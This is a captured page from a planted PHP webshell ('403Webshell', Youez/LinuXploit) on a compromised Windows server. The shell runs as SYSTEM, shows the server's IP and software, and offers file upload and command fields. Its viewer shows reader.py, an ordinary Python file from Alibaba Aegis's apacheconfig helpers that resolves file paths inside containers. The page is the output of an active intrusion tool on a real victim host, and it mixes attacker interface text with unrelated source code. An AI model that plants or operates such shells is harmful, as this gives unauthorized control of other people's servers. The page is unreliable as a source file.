403Webshell
Server IP : 123.56.80.60  /  Your IP : 216.73.216.78
Web Server : Apache/2.4.54 (Win32) OpenSSL/1.1.1s PHP/7.4.33 mod_fcgid/2.3.10-dev
System : Windows NT iZhx3sob14hnz7Z 10.0 build 14393 (Windows Server 2016) i586
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/Alibaba/Aegis/PythonLoader/third_party/apacheconfig/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files (x86)/Alibaba/Aegis/PythonLoader/third_party/apacheconfig/reader.py
import io
import os
import logging
from os import path

logger = logging.getLogger()


def split_all(file_path):
    allparts = []
    while True:
        parts = path.split(file_path)
        if parts[0] == file_path:  # sentinel for absolute paths
            allparts.insert(0, parts[0])
            break
        elif parts[1] == file_path:  # sentinel for relative paths
            allparts.insert(0, parts[1])
            break
        else:
            file_path = parts[0]
            allparts.insert(0, parts[1])
    return allparts


def get_real_file_path(proc_root, filename):
    if proc_root != '/':
        filename = get_file_path_in_container(proc_root, filename)
    return filename


def get_file_path_in_container(proc_root, file_path):
    container_file_path = proc_root
    if proc_root in file_path:
        _, file_path = file_path.split(proc_root, 1)
    parts = split_all(file_path.lstrip('/'))
    for part in parts:
        container_file_path = path.join(container_file_path, part)
        link_count = 0
        while True:
            if not path.islink(container_file_path):
                break
            link_count += 1
            if link_count > 10:
                logger.warning('{} link may be cycle...'.format(container_file_path))
                break
            link_path = os.readlink(container_file_path)
            if path.isabs(link_path):
                container_file_path = path.join(proc_root, link_path.lstrip('/'))
            else:
                # used for /proc/29788/root/usr/bin/redis-server -> redis-check-rdb
                container_file_path = path.join(path.dirname(container_file_path), link_path)
    return path.normpath(container_file_path)


class LocalHostReader(object):

    def __init__(self, procroot):
        self._os = os
        self._environ = self._os.environ
        self._path = self._os.path
        self._proc_root = procroot

    @property
    def environ(self):
        return self._environ

    def exists(self, filepath):
        filepath = get_real_file_path(self._proc_root, filepath)
        return self._path.exists(filepath)

    def isdir(self, filepath):
        return self._path.isdir(filepath)

    def listdir(self, filepath):
        return self._os.listdir(filepath)

    def open(self, filename, mode='r', encoding='utf-8', bufsize=-1):
        filename = get_real_file_path(self._proc_root, filename)
        return io.open(filename, mode, bufsize, encoding=encoding)

Youez - 2016 - github.com/yon3zu
LinuXploit